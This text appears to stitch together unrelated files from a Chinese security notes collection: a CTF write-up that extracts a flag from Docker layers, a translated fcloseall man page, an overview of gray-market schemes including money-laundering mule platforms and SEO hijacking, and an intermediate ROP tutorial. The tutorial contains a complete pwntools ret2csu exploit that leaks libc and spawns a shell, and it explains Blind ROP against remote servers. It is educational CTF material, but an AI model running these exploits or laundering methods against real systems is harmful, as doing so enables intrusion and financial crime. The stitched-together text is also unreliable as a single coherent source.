047229ac3650fb687d05206f9c8b505b5d5214382e16ee09830ee1ccbca7c7fe/layer.tar
0925e1c7e551c36f296419983a429564a6cf219a2857e7da4fa36d80b8ad607c/
0925e1c7e551c36f296419983a429564a6cf219a2857e7da4fa36d80b8ad607c/VERSION
0925e1c7e551c36f296419983a429564a6cf219a2857e7da4fa36d80b8ad607c/json
0925e1c7e551c36f296419983a429564a6cf219a2857e7da4fa36d80b8ad607c/layer.tar
...
fae8145d76a4d64fa960075ac73fabfa2b36676a2c140fc1a380e6012cb68b1c/
fae8145d76a4d64fa960075ac73fabfa2b36676a2c140fc1a380e6012cb68b1c/VERSION
fae8145d76a4d64fa960075ac73fabfa2b36676a2c140fc1a380e6012cb68b1c/json
fae8145d76a4d64fa960075ac73fabfa2b36676a2c140fc1a380e6012cb68b1c/layer.tar
fe588e64e86c132eb6b7064f08a860cb0ec02de1d0d196c6da09ff68f535ccf3/
fe588e64e86c132eb6b7064f08a860cb0ec02de1d0d196c6da09ff68f535ccf3/VERSION
fe588e64e86c132eb6b7064f08a860cb0ec02de1d0d196c6da09ff68f535ccf3/json
fe588e64e86c132eb6b7064f08a860cb0ec02de1d0d196c6da09ff68f535ccf3/layer.tar
manifest.json
repositories
```
More layers. Most of them just have a file called `door`:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Cant_see_you/tmp]
└─$ find . -name "*.tar" -exec bash -c "echo {} && tar -tvf {}" \; | tail
./efd3bc07eee5db05b82a77d899f59a27ab648f1e9a534a58e8fc9c9a35733e3f/layer.tar
-rw-r--r-- 0/0 2 2022-09-14 15:00 door
./effe4bc861a420e0ac1a85d415606ca4cacbcb66c7ffcd2d3e2db55167aab69f/layer.tar
-rw-r--r-- 0/0 2 2022-09-14 14:59 door
./f15b16837781b337f7f99b5b549515afeb9fdef405f11a115299611d1720365d/layer.tar
-rw-r--r-- 0/0 2 2022-09-14 14:59 door
./fae8145d76a4d64fa960075ac73fabfa2b36676a2c140fc1a380e6012cb68b1c/layer.tar
-rw-r--r-- 0/0 2 2022-09-14 14:59 door
./fe588e64e86c132eb6b7064f08a860cb0ec02de1d0d196c6da09ff68f535ccf3/layer.tar
-rw-r--r-- 0/0 2 2022-09-14 15:00 door
```
Let's take a look at a few:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Cant_see_you/tmp]
└─$ tar -xvf ./fe588e64e86c132eb6b7064f08a860cb0ec02de1d0d196c6da09ff68f535ccf3/layer.tar
door
┌──(user@kali)-[/media/sf_CTFs/intent/Cant_see_you/tmp]
└─$ cat door
z
┌──(user@kali)-[/media/sf_CTFs/intent/Cant_see_you/tmp]
└─$ tar -xvf ./fae8145d76a4d64fa960075ac73fabfa2b36676a2c140fc1a380e6012cb68b1c/layer.tar
door
┌──(user@kali)-[/media/sf_CTFs/intent/Cant_see_you/tmp]
└─$ cat door
5
```
Random characters. So let's extract them all and try to piece together a message. We'll follow the order from `manifest.json`.
```python
import json
import tarfile
from pathlib import Path
BASE_PATH = Path("tmp")
DOOR_FILE = "door"
output = b""
with open(BASE_PATH / "manifest.json") as manifest_file:
manifest = json.load(manifest_file)[0]
for layer in manifest["Layers"]:
with tarfile.open(BASE_PATH / layer) as tar:
if DOOR_FILE in tar.getnames():
door = tar.extractfile(DOOR_FILE)
output += door.read().strip()
print(output)
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Cant_see_you]
└─$ python3 solve.py
b'SU5URU5Ue2FfbDE3N2wzX2cwbGQzbl9rM3lfZjByX2FfbDE3N2wzX2QwMHJ9'
```
That looks like base64. We add `print(base64.b64decode(output).decode())` to the script in order to get the flag:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Cant_see_you]
└─$ python3 solve.py
b'SU5URU5Ue2FfbDE3N2wzX2cwbGQzbl9rM3lfZjByX2FfbDE3N2wzX2QwMHJ9'
INTENT{a_l177l3_g0ld3n_k3y_f0r_a_l177l3_d00r}
```
|
sec-knowleage
|
.\" Copyright (c) 1990, 1991 The Regents of the University of California.
.\" All rights reserved.
.\"
.\" This code is derived from software contributed to Berkeley by
.\" Chris Torek and the American National Standards Committee X3,
.\" on Information Processing Systems.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\" 1. Redistributions of source code must retain the above copyright
.\" notice, this list of conditions and the following disclaimer.
.\" 2. Redistributions in binary form must reproduce the above copyright
.\" notice, this list of conditions and the following disclaimer in the
.\" documentation and/or other materials provided with the distribution.
.\" 3. All advertising materials mentioning features or use of this software
.\" must display the following acknowledgement:
.\" This product includes software developed by the University of
.\" California, Berkeley and its contributors.
.\" 4. Neither the name of the University nor the names of its contributors
.\" may be used to endorse or promote products derived from this software
.\" without specific prior written permission.
.\"
.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
.\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
.\" SUCH DAMAGE.
.\"
.\" @(#)fclose.3 6.7 (Berkeley) 6/29/91
.\"
.\" Converted for Linux, Mon Nov 29 15:19:14 1993, faith@cs.unc.edu
.\" Modified to be fcloseall(3) by Nicol??s Lichtmaier <nick@debian.org> Fri Apr 10 1998
.\"
.TH FCLOSE 3 1998-04-10 "GNU" "Linux Programmer's Manual"
.SH NAME
fcloseall \- 关闭所有打开的流
.SH "SYNOPSIS 总览"
.B #define _GNU_SOURCE
.sp
.B #include <stdio.h>
.sp
.B int fcloseall(void);
.SH "DESCRIPTION 描述"
函数
.B fcloseall
将所有打开的流与它们底层的文件或功能集合断开。任何缓冲的数据都将首先被写入,使用
.BR fflush (3)
。注意标准流 (stdin,stdout 和 stderr) 也被关闭。
.SH "RETURN VALUE 返回值"
这个函数总是返回 0。
.SH "SEE ALSO 参见"
.BR fclose (3),
.BR close (2),
.BR fflush (3),
.BR fopen (3),
.BR setbuf (3)
.SH "CONFORMING TO 标准参考"
函数
.B fcloseall
是一个 GNU 扩展。
|
sec-knowleage
|
# 黑灰产形式
此章节整理了黑灰产的不同形式
## 1. 按内容划分
### 1.1 赌博类
#### 博彩(菠菜)
TODO
#### 开箱网站(基于Steam市场)
> 开箱网站吸引人的策略和博彩网站无异,一开始时会先让你尝到甜头,开出价值较高的游戏皮肤,刺激你继续消费,后门逐步降低爆出率。玩家最终走出了自古以来的赌博路线:“开箱-获利-继续开-损失-想要挽回损失-损失更大“。
>
> https://ti.qianxin.com/blog/articles/southeast-asian-gaming-industry-research-report/
### 1.2 外挂
#### 场控外挂
从直播行业中衍生出的一种外挂形式。“场控”的角色在直播行业人员架构中主要负责协调和实施。具体来说,可以做:自动欢迎、礼物答谢、自动喊话、关注感谢[1]等。
### 1.3 黑客攻击类
#### 网站劫持(黑帽SEO)
我们先来看一下概念:
> 1、入侵相关网站;
>
> 2、然后在网站中插入JS或修改其配置文件,增加相应的劫持代码。另外一般会加入判断条件,判断条件一般会根据user-agent或referer进行判断。大多数判断条件会判断是爬虫还是人工,如果是人工会返回正常的网站;如果是爬虫,会返回相关博彩、娱乐类等黑客设置好的网站;
>
> 3、爬虫去访问时,返回是相关博彩、娱乐类网站,导致收录的是黑客精心准备好的网站;
>
> 4、黑帽SEO基本上都是给爬虫收录的,对于正常的人工访问会返回正常的内容,所以导致这种网站很难发现、并且其存留时间相对较长。
>
> 真实网站劫持案例分析,[feiniao ](https://www.freebuf.com/author/feiniao),https://www.freebuf.com/articles/web/153788.html
### 1.4 洗钱类
#### 跑分平台
此处的“跑分”不是指数码产品评测跑分,而是指利用正常用户(包括个人、企业)的微信、支付宝等的收款码,帮助他人收款,从中赚取佣金[2]。跑分平台本质上就是一个洗钱团伙,帮助需要洗钱的客户,例如诈骗团伙,将非法所得的钱通过正常用户收款账户进行代收,然后跑分平台又利用正常用户先前支付的押金分发给所服务的客户。这样就把钱给洗白了,收款被查的风险就从需要洗钱的客户转移到了其他的正常用户以及跑分平台。
我们回顾一下洗钱的三个阶段[3]:
- 处置——实际处理犯罪所得的现金或其他资产
- 离析——经过层层金融交易来隐匿资金来源,将非法所得与其真实来源分离开来
- 融合——以看似正常业务或个人交易的形式将资金重新投入到经济活动中,使得非法财产看似具有合法性
对应来说,跑分平台的功能在做洗钱三个阶段中的处置和离析,收钱、分离真实来源。
跑分平台这部分角色称为“码商”。其发展模式普遍来说也是自己单干跑分,后来发展下线,引流、一方面赚取赚取收款佣金,一方面通过发展下线赚取代理费。

图:“跑分平台”黑产运作流程图[2]
> (1)已经从事“跑分”的用户需要拉下级,发展下线;
>
> (2)租借正常用户账户发布兼职信息;
>
> (3)需要兼职的用户找到发布兼职的的平台,找到相关兼职;
>
> (4)发布兼职的用户让兼职人员添加自己的某某社交账户,并发送“跑分平台”信息;
>
> (5)兼职用户下载“跑分平台”APP,并注册登录、完善信息,包括了绑定***、上传收款码、交押金等;
>
> (6)黑灰产团队在“跑分平台”放单;
>
> (7)兼职用户在“跑分平台”接单;
>
> (8)黑灰产团队将从“跑分平台”获取的对应用户的收款码、***号发给被诈骗的用户;
>
> (9)被诈骗的用户将钱转给兼职用户;
>
> (10)"跑分平台"将兼职用户的押金转给黑灰产团队账户。
>
> 一个完整的跑分流程完成[3]
这个流程简单来说就是:
- 普通用户加入跑分平台,支付押金,提供收款码
- 跑分平台放单
- 黑钱转入普通用户账户,普通用户赚取佣金
- 跑分平台把押金转移给需要洗钱的客户,赚取佣金
- 需要洗钱的客户收到平台的钱,这部分钱来自普通用户的押金
#### 四方支付
四方支付,也叫聚合支付,正如其名,其主要就是做支付能力整合,方便C端用户支付,帮助商家收款,赚取服务费或佣金。**我们不能说所有的四方支付都是黑产**,但其中也确实有相当大的一部分灰色地带——正规的四方支付也可能夹杂着做黑灰产服务(主动或者被动),黑产四方支付也可能用正常服务做伪装。
TODO
## 2. 按服务模式划分
### BaaS
BaaS,Bad Bots as a Service,恶意软件即服务。随着从事黑灰产人员素质的提高,黑产团伙逐渐向专业化、规模化与产业化转型[1]。因此也相应地诞生、催动了恶意软件即服务这种服务模式。类比于SaaS(Software as a Service,软件即服务),BAAS的含义就是客户只需要购买这个恶意软件,关于程序的升级、维护、增加服务器等都由商家提供,客户只需要关注于运营即可。
## 资料💾
- 理论&案例:真实网站劫持案例分析,[feiniao ](https://www.freebuf.com/author/feiniao),https://www.freebuf.com/articles/web/153788.html
- 黑帽SEO剖析之手法篇,[nmask ](https://www.freebuf.com/author/nmask),https://www.freebuf.com/articles/web/149438.html
- 黑帽SEO剖析之工具篇,[nmask ](https://www.freebuf.com/author/nmask),https://www.freebuf.com/sectool/149427.html
- 黑帽SEO剖析之隐身篇,[nmask ](https://www.freebuf.com/author/nmask),https://www.freebuf.com/articles/web/149440.html
## References
\[1] 这家场控平台被警方端了,Magiccc,https://blog.geetest.com/article?id=398999e5679fb62a0390d15c848e734e
\[2] 黑灰产的廉价“温床”—跑分平台,暗影安全实验室,https://www.freebuf.com/articles/network/237120.html
\[3] 付临门大讲堂|洗钱的三个阶段,https://www.freemypay.com/index.php?show--cid-3-id-206.html
|
sec-knowleage
|
# 中级ROP
中级 ROP 主要是使用了一些比较巧妙的 Gadgets。
## ret2csu
### 原理
在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数(当然,不同版本的这个函数有一定的区别)
```asm
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp
```
这里我们可以利用以下几点
- 从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。
- 从 0x0000000000400600 到 0x0000000000400609,我们可以将 r13 赋给 rdx,将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,**但其实此时 rdi 的高 32 位寄存器值为 0(自行调试)**,所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。
- 从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置rbx=0,rbp=1。
### 示例
这里我们以蒸米的一步一步学 ROP 之 linux_x64 篇中 level5 为例进行介绍。首先检查程序的安全保护
```shell
➜ ret2__libc_csu_init git:(iromise) ✗ checksec level5
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
程序为 64 位,开启了堆栈不可执行保护。
其次,寻找程序的漏洞,可以看出程序中有一个简单的栈溢出
```c
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-80h]@1
return read(0, &buf, 0x200uLL);
}
```
简单浏览下程序,发现程序中既没有 system 函数地址,也没有 /bin/sh 字符串,所以两者都需要我们自己去构造了。
**注:这里我尝试在我本机使用 system 函数来获取 shell 失败了,应该是环境变量的问题,所以这里使用的是execve 来获取 shell。**
基本利用思路如下
- 利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数
- 根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
- 再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 '/bin/sh’ 地址,并使得程序重新执行main 函数。
- 再次利用栈溢出执行 libc_csu_gadgets 执行 execve('/bin/sh') 获取 shell。
exp 如下
```python
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
level5 = ELF('./level5')
sh = process('./level5')
write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)
sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)
## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')
sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()
```
### 思考
#### 改进
在上面的时候,我们直接利用了这个通用 gadgets,其输入的字节长度为 128。但是,并不是所有的程序漏洞都可以让我们输入这么长的字节。那么当允许我们输入的字节数较少的时候,我们该怎么有什么办法呢?下面给出了几个方法
##### 改进1 - 提前控制 rbx 与 rbp
可以看到在我们之前的利用中,我们利用这两个寄存器的值的主要是为了满足 cmp 的条件,并进行跳转。如果我们可以提前控制这两个数值,那么我们就可以减少 16 字节,即我们所需的字节数只需要112。
##### 改进2-多次利用
其实,改进 1 也算是一种多次利用。我们可以看到我们的 gadgets 是分为两部分的,那么我们其实可以进行两次调用来达到的目的,以便于减少一次 gadgets 所需要的字节数。但这里的多次利用需要更加严格的条件
- 漏洞可以被多次触发
- 在两次触发之间,程序尚未修改 r12-r15 寄存器,这是因为要两次调用。
**当然,有时候我们也会遇到一次性可以读入大量的字节,但是不允许漏洞再次利用的情况,这时候就需要我们一次性将所有的字节布置好,之后慢慢利用。**
#### gadget
其实,除了上述这个gadgets,gcc默认还会编译进去一些其它的函数
```text
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
```
我们也可以尝试利用其中的一些代码来进行执行。此外,由于 PC 本身只是将程序的执行地址处的数据传递给CPU,而 CPU 则只是对传递来的数据进行解码,只要解码成功,就会进行执行。所以我们可以将源程序中一些地址进行偏移从而来获取我们所想要的指令,只要可以确保程序不崩溃。
需要一说的是,在上面的 libc_csu_init 中我们主要利用了以下寄存器
- 利用尾部代码控制了rbx,rbp,r12,r13,r14,r15。
- 利用中间部分的代码控制了rdx,rsi,edi。
而其实 libc_csu_init 的尾部通过偏移是可以控制其他寄存器的。其中,0x000000000040061A 是正常的起始地址,**可以看到我们在 0x000000000040061f 处可以控制 rbp 寄存器,在0x0000000000400621 处可以控制 rsi寄存器。**而如果想要深入地了解这一部分的内容,就要对汇编指令中的每个字段进行更加透彻地理解。如下。
```asm
gef➤ x/5i 0x000000000040061A
0x40061a <__libc_csu_init+90>: pop rbx
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
gef➤ x/5i 0x000000000040061b
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
gef➤ x/5i 0x000000000040061A+3
0x40061d <__libc_csu_init+93>: pop rsp
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
gef➤ x/5i 0x000000000040061e
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x000000000040061f
0x40061f <__libc_csu_init+95>: pop rbp
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x0000000000400620
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
gef➤ x/5i 0x0000000000400621
0x400621 <__libc_csu_init+97>: pop rsi
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x000000000040061A+9
0x400623 <__libc_csu_init+99>: pop rdi
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
0x400630 <__libc_csu_fini>: repz ret
```
### 题目
- 2016 XDCTF pwn100
- 2016 华山杯 SU_PWN
### 参考阅读
- http://wooyun.jozxing.cc/static/drops/papers-7551.html
- http://wooyun.jozxing.cc/static/drops/binary-10638.html
## ret2reg
### 原理
1. 查看溢出函返回时哪个寄存值指向溢出缓冲区空间
2. 然后反编译二进制,查找 call reg 或者jmp reg指令,将 EIP 设置为该指令地址
3. reg所指向的空间上注入 Shellcode (需要确保该空间是可以执行的,但通常都是栈上的)
## JOP
Jump-oriented programming
## COP
Call-oriented programming
## BROP
### 基本介绍
BROP(Blind ROP)于2014年由Standford的Andrea Bittau提出,其相关研究成果发表在Oakland 2014,其论文题目是**Hacking Blind**,下面是作者对应的paper和slides,以及作者相应的介绍
- [paper](http://www.scs.stanford.edu/brop/bittau-brop.pdf)
- [slide](http://www.scs.stanford.edu/brop/bittau-brop-slides.pdf)
BROP是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流。
### 攻击条件
1. 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
2. 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有ASLR保护,但是其只是在程序最初启动的时候有效果)。目前nginx, MySQL, Apache, OpenSSH等服务器应用都是符合这种特性的。
### 攻击原理
目前,大部分应用都会开启ASLR、NX、Canary保护。这里我们分别讲解在BROP中如何绕过这些保护,以及如何进行攻击。
#### 基本思路
在BROP中,基本的遵循的思路如下
- 判断栈溢出长度
- 暴力枚举
- Stack Reading
- 获取栈上的数据来泄露canaries,以及ebp和返回地址。
- Blind ROP
- 找到足够多的 gadgets 来控制输出函数的参数,并且对其进行调用,比如说常见的 write 函数以及puts函数。
- Build the exploit
- 利用输出函数来 dump 出程序以便于来找到更多的 gadgets,从而可以写出最后的 exploit。
#### 栈溢出长度
直接从1暴力枚举即可,直到发现程序崩溃。
#### Stack Reading
如下所示,这是目前经典的栈布局
```
buffer|canary|saved fame pointer|saved returned address
```
要向得到canary以及之后的变量,我们需要解决第一个问题,如何得到overflow的长度,这个可以通过不断尝试来获取。
其次,关于canary以及后面的变量,所采用的的方法一致,这里我们以canary为例。
canary本身可以通过爆破来获取,但是如果只是愚蠢地枚举所有的数值的话,显然是低效的。
需要注意的是,攻击条件2表明了程序本身并不会因为crash有变化,所以每次的canary等值都是一样的。所以我们可以按照字节进行爆破。正如论文中所展示的,每个字节最多有256种可能,所以在32位的情况下,我们最多需要爆破1024次,64位最多爆破2048次。
#### Blind ROP
##### 基本思路
最朴素的执行write函数的方法就是构造系统调用。
```asm
pop rdi; ret # socket
pop rsi; ret # buffer
pop rdx; ret # length
pop rax; ret # write syscall number
syscall
```
但通常来说,这样的方法都是比较困难的,因为想要找到一个syscall的地址基本不可能。。。我们可以通过转换为找write的方式来获取。
###### BROP gadgets
首先,在libc_csu_init的结尾一长串的gadgets,我们可以通过偏移来获取write函数调用的前两个参数。正如文中所展示的
###### find a call write
我们可以通过plt表来获取write的地址。
###### control rdx
需要注意的是,rdx只是我们用来输出程序字节长度的变量,只要不为0即可。一般来说程序中的rdx经常性会不是零。但是为了更好地控制程序输出,我们仍然尽量可以控制这个值。但是,在程序
```asm
pop rdx; ret
```
这样的指令几乎没有。那么,我们该如何控制rdx的数值呢?这里需要说明执行strcmp的时候,rdx会被设置为将要被比较的字符串的长度,所以我们可以找到strcmp函数,从而来控制rdx。
那么接下来的问题,我们就可以分为两项
- 寻找gadgets
- 寻找PLT表
- write入口
- strcmp入口
##### 寻找gadgets
首先,我们来想办法寻找gadgets。此时,由于尚未知道程序具体长什么样,所以我们只能通过简单的控制程序的返回地址为自己设置的值,从而而来猜测相应的gadgets。而当我们控制程序的返回地址时,一般有以下几种情况
- 程序直接崩溃
- 程序运行一段时间后崩溃
- 程序一直运行而并不崩溃
为了寻找合理的gadgets,我们可以分为以下两步
###### 寻找stop gadgets
所谓`stop gadget`一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态。
> 其实stop gadget也并不一定得是上面的样子,其根本的目的在于告诉攻击者,所测试的返回地址是一个gadgets。
之所以要寻找stop gadgets,是因为当我们猜到某个gadgtes后,如果我们仅仅是将其布置在栈上,由于执行完这个gadget之后,程序还会跳到栈上的下一个地址。如果该地址是非法地址,那么程序就会crash。这样的话,在攻击者看来程序只是单纯的crash了。因此,攻击者就会认为在这个过程中并没有执行到任何的`useful gadget`,从而放弃它。例子如下图
但是,如果我们布置了`stop gadget`,那么对于我们所要尝试的每一个地址,如果它是一个gadget的话,那么程序不会崩溃。接下来,就是去想办法识别这些gadget。
###### 识别 gadgets
那么,我们该如何识别这些gadgets呢?我们可以通过栈布局以及程序的行为来进行识别。为了更加容易地进行介绍,这里定义栈上的三种地址
- **Probe**
- 探针,也就是我们想要探测的代码地址。一般来说,都是64位程序,可以直接从0x400000尝试,如果不成功,有可能程序开启了PIE保护,再不济,就可能是程序是32位了。。这里我还没有特别想明白,怎么可以快速确定远程的位数。
- **Stop**
- 不会使得程序崩溃的stop gadget的地址。
- **Trap**
- 可以导致程序崩溃的地址
我们可以通过在栈上摆放不同顺序的**Stop**与 **Trap**从而来识别出正在执行的指令。因为执行Stop意味着程序不会崩溃,执行Trap意味着程序会立即崩溃。这里给出几个例子
- probe,stop,traps(traps,traps,...)
- 我们通过程序崩溃与否(**如果程序在probe处直接崩溃怎么判断**)可以找到不会对栈进行pop操作的gadget,如
- ret
- xor eax,eax; ret
- probe,trap,stop,traps
- 我们可以通过这样的布局找到只是弹出一个栈变量的gadget。如
- pop rax; ret
- pop rdi; ret
- probe, trap, trap, trap, trap, trap, trap, stop, traps
- 我们可以通过这样的布局来找到弹出6个栈变量的gadget,也就是与brop gadget相似的gadget。**这里感觉原文是有问题的,比如说如果遇到了只是pop一个栈变量的地址,其实也是不会崩溃的,,**这里一般来说会遇到两处比较有意思的地方
- plt处不会崩,,
- _start处不会崩,相当于程序重新执行。
之所以要在每个布局的后面都放上trap,是为了能够识别出,当我们的probe处对应的地址执行的指令跳过了stop,程序立马崩溃的行为。
但是,即使是这样,我们仍然难以识别出正在执行的gadget到底是在对哪个寄存器进行操作。
但是,需要注意的是向BROP这样的一下子弹出6个寄存器的gadgets,程序中并不经常出现。所以,如果我们发现了这样的gadgets,那么,有很大的可能性,这个gadgets就是brop gadgets。此外,这个gadgets通过错位还可以生成pop rsp等这样的gadgets,可以使得程序崩溃也可以作为识别这个gadgets的标志。
此外,根据我们之前学的ret2libc_csu_init可以知道该地址减去0x1a就会得到其上一个gadgets。可以供我们调用其它函数。
需要注意的是probe可能是一个stop gadget,我们得去检查一下,怎么检查呢?我们只需要让后面所有的内容变为trap地址即可。因为如果是stop gadget的话,程序会正常执行,否则就会崩溃。看起来似乎很有意思.
##### 寻找PLT
如下图所示,程序的plt表具有比较规整的结构,每一个plt表项都是16字节。而且,在每一个表项的6字节偏移处,是该表项对应的函数的解析路径,即程序最初执行该函数的时候,会执行该路径对函数的got地址进行解析。
此外,对于大多数plt调用来说,一般都不容易崩溃,即使是使用了比较奇怪的参数。所以说,如果我们发现了一系列的长度为16的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了plt表。除此之外,我们还可以通过前后偏移6字节,来判断我们是处于plt表项中间还是说处于开头。
##### 控制rdx
当我们找到plt表之后,下面,我们就该想办法来控制rdx的数值了,那么该如何确认strcmp的位置呢?需要提前说的是,并不是所有的程序都会调用strcmp函数,所以在没有调用strcmp函数的情况下,我们就得利用其它方式来控制rdx的值了。这里给出程序中使用strcmp函数的情况。
之前,我们已经找到了brop的gadgets,所以我们可以控制函数的前两个参数了。与此同时,我们定义以下两种地址
- readable,可读的地址。
- bad, 非法地址,不可访问,比如说0x0。
那么我们如果控制传递的参数为这两种地址的组合,会出现以下四种情况
- strcmp(bad,bad)
- strcmp(bad,readable)
- strcmp(readable,bad)
- strcmp(readable,readable)
只有最后一种格式,程序才会正常执行。
**注**:在没有PIE保护的时候,64位程序的ELF文件的0x400000处有7个非零字节。
